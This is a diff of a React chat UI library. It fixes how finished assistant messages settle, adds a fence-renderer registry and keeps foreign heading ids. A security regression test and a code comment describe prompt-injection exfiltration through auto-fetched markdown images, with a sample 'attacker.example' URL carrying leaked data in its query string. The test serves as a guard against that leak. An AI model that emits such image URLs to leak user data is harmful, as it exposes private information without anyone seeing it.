basalt-ui 1.11.0 → 1.12.0

package/src/agent-chat/thread-message.test.tsx

@@ -21,7 +21,10 @@ function withNodeEnv<T>(value: string, fn: () => T): T {
   try {
     return fn()
   } finally {
-    process.env['NODE_ENV'] = original
+    // `original` may be undefined (NODE_ENV unset) — assigning undefined through the index
+    // signature isn't valid, so restore by deleting the key instead.
+    if (original === undefined) delete process.env['NODE_ENV']
+    else process.env['NODE_ENV'] = original
   }
 }
 
@@ -177,6 +180,143 @@ describe('finish indicator (AGENT-CHAT-SPEC.md §10)', () => {
   })
 })
 
+// ── The settle fix ────────────────────────────────────────────────────────────
+//
+// `TextRenderer` used to hardcode `streaming`, so `Markdown` always ran in block-split mode and its
+// tail block was unconditionally unsettled — a FINISHED message's last block never settled. Two
+// visible symptoms, both asserted below: a trailing ```mermaid fence stayed a CodeBlock forever,
+// and the last block of every finished message permanently hid its copy action.
+
+const MERMAID_TAIL = 'intro paragraph\n\n```mermaid\ngraph TD\n  A --> B\n```'
+const CODE_TAIL = 'intro paragraph\n\n```notalanguage\nfinal body\n```'
+
+function assistantMessage(text: string): ChatMessage<TranscriptPart>[] {
+  return [
+    { id: 'm1', role: 'assistant', parts: [{ id: 'm1-p1', type: 'text', text }], createdAt: 0 },
+  ]
+}
+
+describe('settled threading — a finished message settles its FINAL block', () => {
+  test('a trailing mermaid fence upgrades out of the CodeBlock', async () => {
+    render(
+      <MantineProvider>
+        <ThreadTranscript messages={assistantMessage(MERMAID_TAIL)} />
+      </MantineProvider>,
+    )
+
+    // MermaidDiagram renders the SVG into a role="img" container; the unsettled path renders a
+    // plain <pre> instead.
+    expect(await screen.findByRole('img')).toBeDefined()
+  })
+
+  test('the final block keeps its copy action', async () => {
+    render(
+      <MantineProvider>
+        <ThreadTranscript messages={assistantMessage(CODE_TAIL)} />
+      </MantineProvider>,
+    )
+
+    await screen.findByText('final body')
+    expect(screen.getByLabelText('Copy code')).toBeDefined()
+  })
+})
+
+describe('settled threading — a streaming message leaves its tail unsettled', () => {
+  test('the in-flight tail fence stays a copy-less CodeBlock', async () => {
+    render(
+      <MantineProvider>
+        <ThreadTranscript
+          messages={[]}
+          liveParts={[{ id: 'live-p1', type: 'text', text: MERMAID_TAIL }]}
+          liveStatus="streaming"
+        />
+      </MantineProvider>,
+    )
+
+    const code = await screen.findByText(/graph TD/)
+    expect(code.closest('pre')).not.toBeNull()
+    expect(screen.queryByRole('img')).toBeNull()
+    expect(screen.queryByLabelText('Copy code')).toBeNull()
+  })
+
+  test('the same message settles once the run stops streaming', async () => {
+    const liveParts: TranscriptPart[] = [{ id: 'live-p1', type: 'text', text: MERMAID_TAIL }]
+    const { rerender } = render(
+      <MantineProvider>
+        <ThreadTranscript messages={[]} liveParts={liveParts} liveStatus="streaming" />
+      </MantineProvider>,
+    )
+
+    await screen.findByText(/graph TD/)
+    expect(screen.queryByRole('img')).toBeNull()
+
+    // Same `liveParts` reference, only `liveStatus` flips — the `MessageBlock` memo comparator
+    // must not swallow this final transition (it compares `streaming` explicitly).
+    rerender(
+      <MantineProvider>
+        <ThreadTranscript messages={[]} liveParts={liveParts} liveStatus="done" />
+      </MantineProvider>,
+    )
+
+    expect(await screen.findByRole('img')).toBeDefined()
+  })
+})
+
+// ── Image exfiltration guard ──────────────────────────────────────────────────
+//
+// THIS IS A SECURITY REGRESSION TEST, NOT A RENDERING TEST. Images auto-fetch, so an off-origin
+// `<img>` in model-generated markdown is a one-way prompt-injection exfiltration channel:
+// `![](https://attacker.example/p.png?q=<whatever the model was told to leak>)` fires a GET the
+// moment the transcript paints, with no click and nothing visible.
+//
+// The control is `Markdown`'s `contentTrust="untrusted"`, and it has already been lost once. The
+// settle fix above changed `TextRenderer` from a hardcoded `streaming` to `streaming={!settled}`,
+// and at the time `streaming` ALSO selected the image allowlist — so every FINISHED message (i.e.
+// nearly the whole transcript) silently regained the open `https://` default. Trust is a property
+// of WHERE THE TEXT CAME FROM; settledness is a property of when. They must never be the same prop
+// again. The settled case below is the one that regressed.
+
+const OFF_ORIGIN_IMAGE = 'https://attacker.example/pixel.png?q=leak'
+const IMAGE_DOC = `![local](/assets/local.png)\n\n![probe](${OFF_ORIGIN_IMAGE})`
+
+describe('transcript images — agent text is untrusted whether or not it has settled', () => {
+  async function renderTranscript(streamingTurn: boolean) {
+    const parts: TranscriptPart[] = [{ id: 'p1', type: 'text', text: IMAGE_DOC }]
+    const { container } = render(
+      <MantineProvider>
+        {streamingTurn ? (
+          <ThreadTranscript messages={[]} liveParts={parts} liveStatus="streaming" />
+        ) : (
+          <ThreadTranscript messages={assistantMessage(IMAGE_DOC)} />
+        )}
+      </MantineProvider>,
+    )
+    // `findByAltText` only ever matches an <img>, so `Markdown`'s Suspense text fallback cannot
+    // satisfy it — this waits for the real pipeline, and its success also proves same-origin
+    // images still render (an allowlist, not a blanket image kill).
+    await screen.findByAltText('local')
+    return container
+  }
+
+  test('a SETTLED assistant message does NOT render an off-origin https image', async () => {
+    const container = await renderTranscript(false)
+
+    expect(screen.getByAltText('local').getAttribute('src')).toBe('/assets/local.png')
+    // Dropped whole: no <img> element, and the attacker origin never reaches the DOM at all —
+    // not as a src, not as a srcset, not as text.
+    expect(screen.queryByAltText('probe')).toBeNull()
+    expect(container.querySelector('img[src^="https://"]')).toBeNull()
+    expect(container.innerHTML).not.toContain('attacker.example')
+  })
+
+  test('an in-flight assistant turn does not render one either', async () => {
+    const container = await renderTranscript(true)
+
+    expect(container.querySelector('img[src^="https://"]')).toBeNull()
+    expect(container.innerHTML).not.toContain('attacker.example')
+  })
+})
+
 describe('MessageBlock memoization (AGENT-CHAT-SPEC.md §9)', () => {
   test('a streamed delta re-renders exactly one MessageBlock on a 50-message thread', () => {
     const messages = buildMessages(50)

package/src/agent-chat/thread-message.tsx

@@ -65,12 +65,32 @@ const MICRO_LABEL_STYLE = {
 
 // ── Per-type Mantine renderers ────────────────────────────────────────────────
 
-function TextRenderer({ part }: { part: TextPart; index: number }): JSX.Element {
+function TextRenderer({
+  part,
+  settled,
+}: {
+  part: TextPart
+  index: number
+  settled: boolean
+}): JSX.Element {
   // Markdown wraps its output in Prose (a div carrying chat-density typography). It must NOT be
   // wrapped in a Mantine `Text` (renders a `<p>`) — block elements inside a `<p>` are invalid
   // nesting that the browser auto-closes, scrambling spacing.
+  //
+  // TWO independent props, and conflating them is what broke this twice:
+  //
+  // `streaming={!settled}` is the RENDERING mode — NOT a hardcoded `streaming`. Hardcoding it kept
+  // `Markdown` in block-split mode forever, and its tail block is unconditionally unsettled: a
+  // FINISHED message ending in a ```mermaid fence rendered as a CodeBlock permanently, and the last
+  // block of every finished message permanently hid its copy action.
+  //
+  // `contentTrust="untrusted"` is the SECURITY policy, and it is pinned unconditionally. Transcript
+  // text is model-generated whether or not the run is still in flight, and images auto-fetch —
+  // `![](https://attacker/?q=…)` is the classic prompt-injection exfiltration channel. Letting
+  // `streaming` imply the policy meant every SETTLED (i.e. almost every) message silently regained
+  // an open `https://` image allowlist the moment the run finished.
   return (
-    <Markdown streaming density="chat">
+    <Markdown streaming={!settled} contentTrust="untrusted" density="chat">
       {part.text}
     </Markdown>
   )
@@ -102,7 +122,7 @@ function ReasoningRenderer({ part }: { part: ReasoningPart; index: number }): JS
   )
 }
 
-// Thin adapter: PartList's per-type renderer signature is `{ part, index }`, ToolChip's is a
+// Thin adapter: PartList's per-type renderer signature is `{ part, index, settled }`, ToolChip's is a
 // richer `ToolChipProps` (defaultExpanded/onApprove/onDeny) that the built-in AgentPart union has
 // no slot for — a 'tool' part reaching this path is always basalt's own six-variant union, never a
 // consumer-registered one, so there is nowhere upstream to source approve/deny handlers from at
@@ -322,7 +342,12 @@ function MessageBlockImpl({
         </Group>
         {segments.map((segment) =>
           segment.kind === 'agent' ? (
-            <PartList key={segment.key} parts={segment.parts} components={threadPartRenderers} />
+            <PartList
+              key={segment.key}
+              parts={segment.parts}
+              components={threadPartRenderers}
+              settled={settled}
+            />
           ) : (
             <Fragment key={segment.key}>
               {segment.render({

package/src/agent-chat/thread-workspace.tsx

@@ -139,7 +139,7 @@ export function ThreadWorkspace({
       <Divider color="var(--vx-divider)" />
       <Box p="sm">
         <Composer
-          onSubmit={handleNewThread}
+          onSubmit={({ text }) => handleNewThread(text)}
           {...(newThreadPlaceholder !== undefined ? { placeholder: newThreadPlaceholder } : {})}
         />
       </Box>

package/src/cli/index.ts

@@ -2240,7 +2240,6 @@ export async function guardHook(cwd: string = process.cwd()): Promise<number> {
   try {
     // Bun: Bun.stdin.text() drains stdin to a string; under Node fall back to manual drain.
     if (typeof (globalThis as Record<string, unknown>)['Bun'] !== 'undefined') {
-      // @ts-expect-error — Bun global, not in @types/bun for this import context
       raw = await globalThis['Bun'].stdin.text()
     } else {
       const chunks: Buffer[] = []

package/src/cli/template-format.test.ts

@@ -46,12 +46,12 @@ describe('shipped managed templates are oxfmt-clean', () => {
     expectOxfmtNoop('CLAUDE.md', filled)
   })
 
-  it.each(RULE_NAMES)('agent/rules/basalt-%s.md (managed) round-trips unchanged', (name) => {
+  it.each([...RULE_NAMES])('agent/rules/basalt-%s.md (managed) round-trips unchanged', (name) => {
     const content = readFileSync(resolve(PKG_ROOT, `agent/rules/basalt-${name}.md`), 'utf8')
     expectOxfmtNoop(`basalt-${name}.md`, content)
   })
 
-  it.each(SKILL_NAMES)('agent/skills/%s/SKILL.md (managed) round-trips unchanged', (name) => {
+  it.each([...SKILL_NAMES])('agent/skills/%s/SKILL.md (managed) round-trips unchanged', (name) => {
     const content = readFileSync(resolve(PKG_ROOT, `agent/skills/${name}/SKILL.md`), 'utf8')
     expectOxfmtNoop('SKILL.md', content)
   })

package/src/content/fence-block.tsx

@@ -1,39 +1,266 @@
 /**
- * FenceBlock — renders a fenced code block's hast `pre` node as `CodeBlock` or `MermaidDiagram`
+ * FenceBlock — renders a fenced code block's hast `pre` node through the fence-renderer registry
  * (docs/CONTENT-SPEC.md §2 decision 4 / §6). Shared by every `pre` override `./markdown` builds
  * (one per streamed block, each with its own `settled` flag).
  *
- * `mermaid` fences render as a plain `CodeBlock` while `settled` is `false` (the in-flight
- * streaming tail) and upgrade to `MermaidDiagram` once the fence's block settles — no flicker, no
- * wasted parse pass on a still-changing diagram. Every other fenced language hides its copy
- * action while unsettled for the same reason (copying a still-streaming block is misleading).
+ * ONE mechanism, two sources: a consumer's `fenceRenderers[language]` is consulted first, then
+ * `BUILT_IN_FENCE_RENDERERS[language]`, then the plain `CodeBlock` fallback. `mermaid` is no longer
+ * a hardcoded branch — it is a built-in entry defined with `settledOnly`, exactly the helper a
+ * consumer uses for its own heavyweight renderer.
  *
- * Not part of the public surface.
+ * `settledOnly` renderers (mermaid included) render a plain `CodeBlock` while `settled` is `false`
+ * (the in-flight streaming tail) and upgrade once the fence's block settles — no flicker, no wasted
+ * parse pass on a still-changing diagram. Every fenced language hides its copy action while
+ * unsettled for the same reason (copying a still-streaming block is misleading).
+ *
+ * NEITHER a decline nor a throw may take the message down — a model-authored fence body (JSON for a
+ * `vega-lite` renderer, a payload for a `card` renderer, …) is routinely malformed, and this is a
+ * render path: the same invariant that made `spliceText` clamp instead of throw and dropped the
+ * runtime `assertNever` from `coalesceParts` applies here. `CodeBlock` is always a correct rendering
+ * of any fence, which is what makes it safe as the universal fallback:
+ *  - A renderer returns `undefined` to DECLINE ("I cannot render this, use the default"). `null` is
+ *    a different, deliberate result — "render nothing" — and is passed through unchanged.
+ *  - A renderer that THROWS is contained two different ways depending on where the throw happens —
+ *    see `renderFenceSafely` (a throw from the renderer function itself) and `FenceRenderBoundary` (a
+ *    throw from a component the renderer merely returns) below — and both fall back to `CodeBlock`
+ *    with a once-per-fence dev warning (`warnFenceRendererThrew`).
+ *
+ * `FenceBlock` itself is not part of the public surface; `FenceRenderer`/`FenceRenderContext`/
+ * `settledOnly` are, re-exported through `./markdown` (the props that carry them live on
+ * `MarkdownProps`).
  */
+import { Component, useRef } from 'react'
+import type { ReactNode } from 'react'
 import type { Element } from 'hast'
 import { CodeBlock } from './code-block'
 import { extractFenceInfo } from './markdown-hast'
 import { MermaidDiagram } from './mermaid'
 
+// ── Public registry types ─────────────────────────────────────────────────────────────────────
+
+export type FenceRenderContext = {
+  /** The fence body, without the surrounding fence markers. */
+  readonly code: string
+  /** The info string's first word (` ```ts title="x" ` → `'ts'`), absent on a bare fence. */
+  readonly language?: string
+  /** Raw meta string after the language on the opening fence line (`'title="x"'` above). */
+  readonly meta?: string
+  /** Parsed `title="…"` out of `meta` — the filename tab `CodeBlock` renders. */
+  readonly title?: string
+  /** `false` only for the in-flight tail block of a streaming message. Monotone: never true→false. */
+  readonly settled: boolean
+}
+
+/**
+ * `undefined` DECLINES — the fence falls back to the default `CodeBlock` rendering, no different
+ * from an unclaimed language. `null` is NOT a decline; it is a deliberate "render nothing" result
+ * and is used as-is. A renderer that THROWS is also contained and falls back to `CodeBlock` (see the
+ * module doc above) — no renderer needs its own try/parse/fallback scaffolding to survive malformed,
+ * model-authored fence bodies.
+ */
+export type FenceRenderer = (ctx: FenceRenderContext) => ReactNode
+
+/** Fence renderers keyed by language. */
+export type FenceRenderers = Readonly<Record<string, FenceRenderer>>
+
+/** The registry's terminal fallback — also what an unsettled `settledOnly` renderer shows. */
+const defaultFenceRenderer: FenceRenderer = ({ code, language, title, settled }) => (
+  <CodeBlock
+    code={code}
+    showCopy={settled}
+    {...(language !== undefined && { language })}
+    {...(title !== undefined && { title })}
+  />
+)
+
+/**
+ * Wraps a renderer that is only worth running on finished text: renders the plain `CodeBlock`
+ * while the fence is still streaming, then `render` once its block settles. The built-in `mermaid`
+ * entry IS this — a consumer's own heavyweight fence (a chart spec, a diagram DSL) wants the same
+ * deal.
+ *
+ * @example
+ * import { settledOnly } from 'basalt-ui/content'
+ *
+ * <Markdown fenceRenderers={{ vega: settledOnly(({ code }) => <VegaChart spec={code} />) }}>
+ */
+export function settledOnly(render: FenceRenderer): FenceRenderer {
+  return (ctx) => (ctx.settled ? render(ctx) : defaultFenceRenderer(ctx))
+}
+
+/** basalt's own fence renderers. A consumer entry for the same key wins over these. */
+export const BUILT_IN_FENCE_RENDERERS: FenceRenderers = {
+  mermaid: settledOnly(({ code }) => <MermaidDiagram code={code} />),
+}
+
+// ── FenceBlock ────────────────────────────────────────────────────────────────────────────────
+
+/**
+ * The raw meta string lives on the `code` child's `data.meta` (mdast-util-to-hast puts it there,
+ * never on the surrounding `pre`). `extractFenceInfo` parses `title="…"` out of it but does not
+ * surface the raw string, and widening `FenceInfo` is not this module's call — so read it here.
+ */
+function extractFenceMeta(preNode: Element): string | undefined {
+  const codeNode = preNode.children.find(
+    (child): child is Element => child.type === 'element' && child.tagName === 'code',
+  )
+  const data = codeNode?.data as { meta?: string } | undefined
+  return data?.meta
+}
+
 export type FenceBlockProps = {
   readonly node?: Element
   readonly settled: boolean
+  /** Consumer overrides, consulted BEFORE `BUILT_IN_FENCE_RENDERERS`. */
+  readonly renderers?: FenceRenderers
+}
+
+/**
+ * Registry lookup restricted to OWN keys — the only safe way to index either registry.
+ *
+ * `language` is the fence info string, so it is MODEL-CONTROLLED: `markdown-hast.ts` reads it off
+ * the `language-*` class, and `defaultSchema.attributes.code` (`[['className', /^language-./]]`)
+ * lets any such class through the sanitize pass. Both registries are plain object literals, so a
+ * bare `map[language]` resolves `Object.prototype` members and the `??` fallback never fires:
+ * ` ```valueOf `, ` ```hasOwnProperty ` and ` ```isPrototypeOf ` THREW when the resolved method was
+ * called unbound, ` ```__proto__ ` threw on a non-callable, and ` ```toString `/` ```constructor `
+ * rendered garbage. `Object.hasOwn` also rejects `__proto__` in a consumer literal (that key sets
+ * the prototype rather than defining an own property), and the `typeof` gate covers a consumer map
+ * that reached here through a cast with a non-function value.
+ */
+function lookupFenceRenderer(
+  registry: FenceRenderers | undefined,
+  language: string,
+): FenceRenderer | undefined {
+  if (registry === undefined || !Object.hasOwn(registry, language)) return undefined
+  const candidate = registry[language]
+  return typeof candidate === 'function' ? candidate : undefined
 }
 
-export function FenceBlock({ node, settled }: FenceBlockProps) {
+// ── Throw containment ────────────────────────────────────────────────────────────────────────────
+
+/** A `useRef(false)` handle, mutated in place — same per-instance "warn once" idiom as
+ * `useHoverSync`'s `warnedRef` (`charts/hooks/useHoverSync.ts`) rather than a module-level
+ * singleton: a singleton would make the FIRST fence anywhere in the process to throw silence the
+ * warning for every OTHER, unrelated broken fence for the rest of the run (and, worse, for every
+ * later test in this suite — this file has module-singleton order-dependence history). Scoping the
+ * gate to one `FenceBlock`'s `useRef` means each rendered fence position gets its own warning, reset
+ * only on remount, and unrelated fences/tests never interact through it. */
+type WarnedGate = { current: boolean }
+
+/**
+ * Formats + emits the dev-only "a fence renderer threw" warning at most once per `warned` gate.
+ * Shared by BOTH containment paths below (`renderFenceSafely`'s try/catch and
+ * `FenceRenderBoundary.componentDidCatch`) so a fence that throws via either mechanism still only
+ * warns once. Mirrors the `process.env['NODE_ENV'] + console.warn('[basalt] …')` idiom used by
+ * `agent/merge.ts`'s `clampOffset` — including leaving the resulting oxlint `no-console` warning
+ * unsuppressed, the established convention in this package.
+ */
+function warnFenceRendererThrew(warned: WarnedGate, error: unknown): void {
+  if (warned.current) return
+  warned.current = true
+  if (process.env['NODE_ENV'] !== 'production') {
+    console.warn(
+      '[basalt] FenceBlock: a fence renderer threw — falling back to the default CodeBlock rendering.',
+      error,
+    )
+  }
+}
+
+/**
+ * Calls `render(ctx)` inside a try/catch — contains a SYNCHRONOUS throw from the renderer FUNCTION
+ * itself (e.g. `JSON.parse(code)` failing before the renderer ever returns anything). This catch
+ * sits in the same call stack as the invocation, so it only ever sees a throw that happens INSIDE
+ * this call — never one from a component the renderer merely returns as a descriptor (React invokes
+ * that component's own function body later, in a stack frame this function has already returned
+ * from — see `FenceRenderBoundary` for that case).
+ *
+ * Also resolves the decline convention here: `undefined` falls back to `defaultFenceRenderer`;
+ * `null` (or any other `ReactNode`) passes through unchanged.
+ */
+function renderFenceSafely(
+  render: FenceRenderer,
+  ctx: FenceRenderContext,
+  warned: WarnedGate,
+): ReactNode {
+  let rendered: ReactNode
+  try {
+    rendered = render(ctx)
+  } catch (error) {
+    warnFenceRendererThrew(warned, error)
+    return defaultFenceRenderer(ctx)
+  }
+  return rendered === undefined ? defaultFenceRenderer(ctx) : rendered
+}
+
+type FenceRenderBoundaryProps = {
+  readonly ctx: FenceRenderContext
+  readonly warned: WarnedGate
+  readonly children: ReactNode
+}
+type FenceRenderBoundaryState = { hasError: boolean }
+
+/**
+ * Contains a throw from the SUBTREE a `FenceRenderer` RETURNS — e.g.
+ * `settledOnly(({ code }) => <VegaChart spec={code} />)` where `VegaChart` itself throws while
+ * parsing `code` during ITS OWN render. `renderFenceSafely`'s try/catch cannot reach this case:
+ * `<VegaChart spec={code} />` is only a descriptor at the point the renderer returns it — React
+ * invokes `VegaChart`'s function body later, during its own render pass, outside the stack frame
+ * `renderFenceSafely` controls. An error boundary is the only mechanism that reaches a render-phase
+ * throw at that depth.
+ *
+ * `key={ctx.code}` at the call site (below) remounts this boundary — fresh `hasError: false` — every
+ * time the fence body changes, so a still-streaming fence that starts malformed and later becomes
+ * valid gets a genuine retry instead of staying permanently tripped.
+ *
+ * KNOWN GAP (standard React error-boundary limits): a throw from an event handler, from an effect
+ * running after an already-successful commit, or from asynchronous code is NOT caught here — only a
+ * throw during the RENDER of the returned subtree is contained.
+ */
+class FenceRenderBoundary extends Component<FenceRenderBoundaryProps, FenceRenderBoundaryState> {
+  constructor(props: FenceRenderBoundaryProps) {
+    super(props)
+    this.state = { hasError: false }
+  }
+
+  static getDerivedStateFromError(): FenceRenderBoundaryState {
+    return { hasError: true }
+  }
+
+  override componentDidCatch(error: unknown): void {
+    warnFenceRendererThrew(this.props.warned, error)
+  }
+
+  override render(): ReactNode {
+    return this.state.hasError ? defaultFenceRenderer(this.props.ctx) : this.props.children
+  }
+}
+
+export function FenceBlock({ node, settled, renderers }: FenceBlockProps) {
+  const warned = useRef(false)
   const fence = node ? extractFenceInfo(node) : undefined
   if (!fence) return null
 
-  if (fence.language === 'mermaid' && settled) {
-    return <MermaidDiagram code={fence.code} />
+  const meta = node ? extractFenceMeta(node) : undefined
+  const ctx: FenceRenderContext = {
+    code: fence.code,
+    settled,
+    ...(fence.language !== undefined && { language: fence.language }),
+    ...(fence.title !== undefined && { title: fence.title }),
+    ...(meta !== undefined && { meta }),
   }
 
+  const language = fence.language
+  const render =
+    language === undefined
+      ? undefined
+      : (lookupFenceRenderer(renderers, language) ??
+        lookupFenceRenderer(BUILT_IN_FENCE_RENDERERS, language))
+  const active = render ?? defaultFenceRenderer
+
   return (
-    <CodeBlock
-      code={fence.code}
-      showCopy={settled}
-      {...(fence.language !== undefined && { language: fence.language })}
-      {...(fence.title !== undefined && { title: fence.title })}
-    />
+    <FenceRenderBoundary key={ctx.code} ctx={ctx} warned={warned}>
+      {renderFenceSafely(active, ctx, warned)}
+    </FenceRenderBoundary>
   )
 }

package/src/content/heading-components.test.tsx

@@ -0,0 +1,65 @@
+/**
+ * heading-components — the slug/anchor/foreign-id contract (docs/CONTENT-SPEC.md §2 decision 6 /
+ * §7). `createHeadingComponents` builds one renderer per level against a shared `SlugTracker`; each
+ * test below builds its OWN tracker so a slug-collision counter never leaks across cases.
+ *
+ * `createHeadingComponents` is not part of the public surface (not re-exported by `./index`), same
+ * test idiom as `composeRehypePlugins` in `./markdown.test.tsx` — imported straight from the module.
+ */
+import type { ComponentType, JSX } from 'react'
+import type { Components, ExtraProps } from 'react-markdown'
+import { MantineProvider } from '@mantine/core'
+import { render, screen } from '@testing-library/react'
+import { describe, expect, test } from 'bun:test'
+import { createHeadingComponents } from './heading-components'
+import { SlugTracker } from './slug'
+
+function renderHeading(ui: React.ReactElement) {
+  return render(<MantineProvider>{ui}</MantineProvider>)
+}
+
+type HeadingProps = JSX.IntrinsicElements['h2'] & ExtraProps
+
+/** Narrows `Components['h2']` (`ComponentType | keyof JSX.IntrinsicElements | undefined`) down to
+ * the function component `createHeadingComponents` actually builds — no cast, a runtime check. */
+function h2Of(components: Partial<Components>): ComponentType<HeadingProps> {
+  const H2 = components.h2
+  if (typeof H2 !== 'function') throw new Error('expected createHeadingComponents to build h2')
+  return H2
+}
+
+describe('heading-components', () => {
+  test('an ordinary heading is slugged, gets an id, and gets the anchor affordance', () => {
+    const H2 = h2Of(createHeadingComponents(new SlugTracker()))
+    renderHeading(<H2>Introduction</H2>)
+
+    const heading = screen.getByRole('heading', { level: 2, name: 'Introduction' })
+    expect(heading.id).toBe('introduction')
+    expect(screen.getByLabelText('Copy link to section')).toBeDefined()
+  })
+
+  test('a heading arriving with an id keeps that id instead of the slugged one', () => {
+    const H2 = h2Of(createHeadingComponents(new SlugTracker()))
+    renderHeading(<H2 id="footnote-label">Footnotes</H2>)
+
+    // The slugger would produce 'footnotes' — the incoming id must win outright.
+    const heading = screen.getByRole('heading', { level: 2, name: 'Footnotes' })
+    expect(heading.id).toBe('footnote-label')
+  })
+
+  test('a heading arriving with a class keeps it', () => {
+    const H2 = h2Of(createHeadingComponents(new SlugTracker()))
+    renderHeading(<H2 className="sr-only">Footnotes</H2>)
+
+    const heading = screen.getByRole('heading', { level: 2, name: 'Footnotes' })
+    expect(heading.className).toBe('sr-only')
+  })
+
+  test('a heading that keeps its own id is not given the anchor affordance', () => {
+    const H2 = h2Of(createHeadingComponents(new SlugTracker()))
+    renderHeading(<H2 id="footnote-label">Footnotes</H2>)
+
+    screen.getByRole('heading', { level: 2, name: 'Footnotes' })
+    expect(screen.queryByLabelText('Copy link to section')).toBeNull()
+  })
+})

package/src/content/heading-components.tsx

@@ -5,7 +5,19 @@
  *
  * Ids come from `SlugTracker` — pass a document-scoped instance for correct cross-heading dedup,
  * or a fresh per-block instance in `Markdown`'s `streaming` mode (see that module's JSDoc for the
- * accepted collision tradeoff there).
+ * accepted collision tradeoff there). That is the default path, for an ordinary prose heading with
+ * no id of its own.
+ *
+ * FOREIGN IDS: a heading can already arrive with an `id` — remark-gfm's footnotes section heading
+ * is one (`<h2 id="footnote-label" class="sr-only">Footnotes</h2>`, referenced by the surrounding
+ * `<section>`'s `aria-labelledby`), and a consumer's own `rehypePlugins` injecting a heading is
+ * another. The rule is general, not a footnote special case: an id this renderer did NOT assign is
+ * something else's address for that heading, and slugging over it breaks whatever points at it. So
+ * an incoming `id` wins outright — no re-slug, no dedup registration against `tracker` (the heading
+ * isn't part of this document's slug namespace), and no `HeadingAnchor` (the affordance's premise is
+ * "copy a link to the id THIS renderer just minted"; a foreign id's meaning is basalt's to respect,
+ * not to advertise). Every other incoming prop (`className` included) is forwarded either way — the
+ * one thing always stripped is the hast `node` handle, which must never reach the DOM.
  *
  * Not part of the public surface.
  */
@@ -38,12 +50,21 @@ function headingText(node: ReactNode): string {
 
 function createHeadingRenderer(level: HeadingLevel, tracker: SlugTracker) {
   const Tag = HEADING_TAGS[level]
-  return function HeadingRenderer({ children }: HeadingProps) {
-    const id = tracker.slug(headingText(children))
+  // `node` is react-markdown's hast handle (`ExtraProps`) — read by neither branch, and must not
+  // reach the DOM, so it's stripped the same way `LinkRenderer` strips it in `./markdown`.
+  return function HeadingRenderer({ id, children, node: _node, ...rest }: HeadingProps) {
+    if (id !== undefined) {
+      return (
+        <Tag id={id} {...rest}>
+          {children}
+        </Tag>
+      )
+    }
+    const slug = tracker.slug(headingText(children))
     return (
-      <Tag id={id}>
+      <Tag id={slug} {...rest}>
         {children}
-        <HeadingAnchor id={id} />
+        <HeadingAnchor id={slug} />
       </Tag>
     )
   }